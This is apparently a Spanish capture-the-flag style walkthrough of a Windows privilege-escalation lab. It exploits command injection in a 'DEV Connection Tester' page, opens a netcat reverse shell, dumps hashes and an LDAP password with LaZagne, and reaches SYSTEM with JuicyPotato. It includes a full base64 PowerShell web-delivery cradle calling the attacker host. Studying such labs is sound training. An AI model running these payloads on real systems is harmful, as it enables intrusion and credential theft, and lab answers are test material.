Durante una prueba de penetración contra la organización INLANEFREIGHT, se encuentra con un host Windows Server no perteneciente a un dominio que presenta una vulnerabilidad de Command Injection sin parchear. Tras establecerse, encuentra credenciales que podrían ser útiles para el movimiento lateral posterior en la evaluación y descubre otra vulnerabilidad que puede aprovecharse para escalar privilegios en el host objetivo.
Para esta evaluación, suponga que su cliente tiene un programa de gestión de parches/vulnerabilidades relativamente maduro pero no cuenta con suficiente personal y desconoce muchas de las mejores prácticas en torno a la gestión de configuración, lo que podría dejar a un host expuesto a una escalada de privilegios.
Enumere el host (comenzando con un escaneo de puertos con Nmap para identificar puertos/servicios accesibles), aproveche la falla de inyección de comandos para obtener acceso de reverse shell, escale privilegios a nivel NT AUTHORITY\SYSTEM o similar y responda las preguntas a continuación para completar esta parte de la evaluación.
Objetivo: 10.129.225.46
Pregunta 1
¿Qué dos KB están instalados en el sistema de destino? (Formato de respuesta: 3210000 y 3210060)
Escaneo de puertos
sudo nmap -v -sV -sCV -T5 -Pn 10.129.225.46
Nmap scan report for 10.129.225.46
Host is up (0.050s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: DEV Connection Tester
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: WINLPE-SKILLS1-
| NetBIOS_Domain_Name: WINLPE-SKILLS1-
| NetBIOS_Computer_Name: WINLPE-SKILLS1-
| DNS_Domain_Name: WINLPE-SKILLS1-SRV
| DNS_Computer_Name: WINLPE-SKILLS1-SRV
| Product_Version: 10.0.14393
|_ System_Time: 2025-03-31T18:13:33+00:00
|_ssl-date: 2025-03-31T18:13:37+00:00; +1m10s from scanner time.
| ssl-cert: Subject: commonName=WINLPE-SKILLS1-SRV
| Issuer: commonName=WINLPE-SKILLS1-SRV
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-30T18:10:26
| Not valid after: 2025-09-29T18:10:26
| MD5: 3044:342f:397f:5c89:07e2:ca17:3f23:c675
|_SHA-1: 6caf:46ef:1f6c:6a3b:7849:f039:053e:4b55:2ce1:cb13
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Encontramos dos puertos abiertos en el objetivo:
Puerto
Estado
Servicio
Versión
80
Abierto
HTTP (IIS)
Microsoft IIS 10.0
3389
Abierto
RDP
Microsoft Terminal Services
📌 Importante
El puerto 80 aloja una aplicación web "DEV Connection Tester". Posible vector de ataque.
La información de RDP indica que el sistema es Windows 10.0.14393, lo que corresponde a Windows Server 2016.
Command Inyection
La web tiene un input básico y un CTA de "Ping Host". Al probar el payload básico 127.0.0.1/whoami y capturarlo con BurpSuite observamos que el mensaje de error "Ping request could not find host 127.0.0.1;whoami" indica que el parámetro addr se está ejecutando dentro de un comando ping, pero el separador ; no está funcionando para ejecutar comandos adicionales.
Después de probar varios payloads encuentro uno que funciona: 127.0.0.1 | whoami
Reverse Shell
Ahora que hemos identificado el Command Inyection vamos a conseguir una shell.
Payload utilizado: Windows, PowerShell#3 base64
Sustituímos whoami por el payload en el input y le damos enter:
127.0.0.1 | <payload>
afsh4ck@kali$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.179] from (UNKNOWN) [10.129.225.46] 49671
whoami
iis apppool\defaultapppool
PS C:\windows\system32\inetsrv>
Hotfixes disponibles
Para responder a la pregunta 1, buscaremos los parches instalados en el sistema:
PS C:\Users\Administrator\Desktop> C:\windows\Temp\LaZagne.exe all
C:\windows\Temp\LaZagne.exe all
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
[+] System masterkey decrypted for 1ef7b31a-39fd-4309-877e-c354d5a19506
[+] System masterkey decrypted for 644d306e-3a7a-434b-bd62-0b81ab91e5b6
[+] System masterkey decrypted for 6977da93-ec45-468e-8a19-97d9865fb2e6
########## User: SYSTEM ##########
------------------- Hashdump passwords -----------------
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
mrb3n:1000:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54:::
htb-student:1001:aad3b435b51404eeaad3b435b51404ee:3c0e5d303ec84884ad5c3b7876a06ea6:::
------------------- Lsa_secrets passwords -----------------
DPAPI_SYSTEM
0000 01 00 00 00 1D 35 B6 2C 53 EC 28 92 E8 6D D5 BE .....5.,S.(..m..
0010 C7 4C 78 54 10 66 34 3A 70 3F 77 AF 3F 11 FA 7F .LxT.f4:p?w.?...
0020 03 8D 79 6A CC 1A FF AC 7C 0E DD D3 ..yj....|...
NL$KM
0000 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @...............
0010 99 4F 5D 6C 55 B9 EC B5 0C 0B D8 75 A2 88 93 E4 .O]lU......u....
0020 C0 D9 EF C5 0D B9 40 57 92 39 9A BE 9D A5 83 ED ......@W.9......
0030 11 CB 71 7C AB 32 CD 11 FD 7A ED 2E AB BE F1 62 ..q|.2...z.....b
0040 58 F2 1D 8A AC 9F AC FB 32 17 D8 EE B3 BD A5 DC X.......2.......
0050 E2 D9 82 77 4A A3 16 D6 F3 B5 E0 28 13 72 C7 2E ...wJ......(.r..
########## User: Administrator ##########
------------------- Apachedirectorystudio passwords -----------------
[+] Password found !!!
Host: dc01.inlanefreight.local
Port: 389
Login: ldapadmin
Password: car3ful_st0rinG_******
AuthenticationMethod: SIMPLE
Tenemos las creedenciales en plano de la cuenta ldapadmin y el hash del Administrador!
Pregunta 3
Escale privilegios y envíe el contenido del archivo flag.txt en el Escritorio del administrador.
Privilegios del usuario
PS C:\windows\system32\inetsrv> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Tenemos el privilegio SeImpersonatePrivilege habilitado, lo que significa que podemos explotar un potato attack (JuicyPotato, RoguePotato, PrintSpoofer....) para elevar privilegios a NT AUTHORITY\SYSTEM.
Verificar versión de Windows
PS C:\windows\system32\inetsrv> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
OS Name: Microsoft Windows Server 2016 Standard
OS Version: 10.0.14393 N/A Build 14393
El sistema es Windows Server 2016, por lo que usaremos JuicyPotato.
Si subimos este shell.exe y lo ejecutamos a través de Juicy Potato nos devolverá un Meterpreter como SYSTEM, con el que podemos establecernos mucho mejor en el sistema.
PS C:\windows\Temp> ls
Directory: C:\windows\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/1/2025 5:03 AM 153600 JuicyPotato.exe
-a---- 4/1/2025 5:08 AM 38616 nc.exe
-a---- 4/1/2025 5:03 AM 7168 shell.exe
Iniciar un listener multi handler en Kali
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.10.14.179; set LPORT 443; exploit"
[*] Using configured payload generic/shell_reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 10.10.14.179
LPORT => 443
[*] Started reverse TCP handler on 10.10.14.179:443
Ejecutar JuicyPotato
Al ejecutarlo veremos que nos da un error ya que necesitamos proporcionarle un CLSID válido:
PS C:\windows\system32\inetsrv> C:\windows\Temp\JuicyPotato.exe -l 1337 -p C:\windows\Temp\shell.exe -t *
JuicyPotatoNG
by decoder_it & splinter_code
[*] Testing CLSID {854A20FB-2D44-457D-992F-EF13785D2B51} - COM server port 1337
[-] The privileged process failed to communicate with our COM Server :( Try a different COM port in the -l flag.
Con la opción -b podemos hacer un bruteforce de CLSIDs para encontrar uno válido:
Esta técnica genera más de 1000 procesos, debemos usarla con precaución.
Podemos ejecutar el siguiente script para buscar CLSIDs potencialmente válidos, para no generar tanto ruido en la infraestructura (ni bloquear los puertos):
Al ejecutar este script nos saca de la shell, por lo que nos moveremos a una shell más robusta con Meterpreter.
Meterpreter Webdelivery
Configura un Powershell web delivery escuchando en el puerto 8080.
msfconsole -q -x "use exploit/multi/script/web_delivery; set TARGET 2; set payload windows/x64/meterpreter/reverse_http; set LHOST 10.10.14.179; set LPORT 4443; run"
msf6 exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started HTTP reverse handler on http://10.10.14.179:4443
[*] Using URL: http://10.10.14.179:8080/WYZepusQSpYoI
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABkAFEANAA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAaQBmACgAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUAByAG8AeAB5AF0AOgA6AEcAZQB0AEQAZQBmAGEAdQBsAHQAUAByAG8AeAB5ACgAKQAuAGEAZABkAHIAZQBzAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApAHsAJABkAFEANAAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAkAGQAUQA0AC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMQA3ADkAOgA4ADAAOAAwAC8AVwBZAFoAZQBwAHUAcwBRAFMAcABZAG8ASQAvAHMAMQA2AFYAcgB6AEcAUgAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMQA3ADkAOgA4ADAAOAAwAC8AVwBZAFoAZQBwAHUAcwBRAFMAcABZAG8ASQAnACkAKQA7AA==
Con esta herramienta podemos extraer los CLSIDs válidos del listado:
Lo modificamos así:
test_clsid.bat
@echo off
:: Starting port, you can change it
set /a port=10000
SETLOCAL ENABLEDELAYEDEXPANSION
FOR /F %%i IN (C:\Users\Public\Windows_Server_2016_Standard\CLSID.list) DO (
echo %%i !port!
C:\Users\Public\JuicyPotatoNG.exe -z -l !port! -c %%i >> result.log
set RET=!ERRORLEVEL!
:: echo !RET!
if "!RET!" == "1" set /a port=port+1
)
afsh4ck@kali$ nc -lvnp 8443
listening on [any] 8443 ...
connect to [10.10.14.179] from (UNKNOWN) [10.129.225.46] 49799
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Acceso a la flag
c:\Users\Administrator\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is 7029-F417
Directory of c:\Users\Administrator\Desktop
08/08/2021 06:54 PM <DIR> .
08/08/2021 06:54 PM <DIR> ..
08/09/2021 06:08 PM 26 flag.txt
1 File(s) 26 bytes
2 Dir(s) 18,932,436,992 bytes free
c:\Users\Administrator\Desktop> type flag.txt
Ev3ry_sysadm1ns_***********!
En este punto, vamos a la pregunta 2 para enumerar más información.
Pregunta 4
Tras aumentar los privilegios, localice el archivo "confidential.txt". Envíe su contenido.